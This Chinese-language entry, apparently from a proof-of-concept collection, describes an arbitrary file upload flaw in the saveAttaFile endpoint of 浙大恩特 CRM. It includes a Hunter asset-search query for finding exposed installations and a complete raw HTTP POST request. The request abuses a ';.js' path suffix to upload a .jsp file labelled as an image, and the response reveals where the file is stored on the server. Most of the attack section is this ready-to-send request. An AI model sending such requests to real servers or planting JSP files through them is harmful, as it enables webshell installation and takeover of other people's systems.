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48 lines
2.2 KiB
Markdown
48 lines
2.2 KiB
Markdown
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# 浙大恩特CRM saveAttaFile任意文件上传漏洞
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# 一、漏洞简介
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<font style="color:rgba(0, 0, 0, 0.9);">浙大恩特CRM是由浙江大学恩智浙大科技有限公司推出的客户关系管理（CRM）系统。该系统旨在帮助企业高效管理客户关系，提升销售业绩，促进市场营销和客户服务的优化。系统支持客户数据分析和报表展示，帮助企业深度挖掘客户数据，提供决策参考。浙大恩特CRM saveAttaFile存在任意文件上传漏洞，攻击者可通过该漏洞获取服务器控制权限。</font>
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# <font style="color:rgba(0, 0, 0, 0.9);">二、影响版本</font>
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+ <font style="color:rgba(0, 0, 0, 0.9);">浙大恩特CRM</font>
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# <font style="color:rgba(0, 0, 0, 0.9);">三、资产测绘</font>
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+ hunter`app.name="浙大恩特 CRM"`
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+ 特征
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# 四、漏洞复现
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```plain
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POST /entsoft/MailAction.entphone;.js?act=saveAttaFile HTTP/1.1
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Host: xx.xx.xx.xx
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed exchange;v=b3;q=0.9
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2A
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Content-Length: 179
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------WebKitFormBoundarye8FPHsIAq9JN8j2A
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Content-Disposition: form-data; name="file";filename="stc.jsp"
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Content-Type: image/jpeg
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stc
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------WebKitFormBoundarye8FPHsIAq9JN8j2A--
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```
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根据响应获取上传文件位置
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```plain
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/enterdoc/EnterMail/20231118/2023111821425069561254581/stc.jsp
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```
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> 更新: 2024-02-29 23:55:45
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> 原文: <https://www.yuque.com/xiaokp7/ocvun2/eh97kwtudqbrgx9n>
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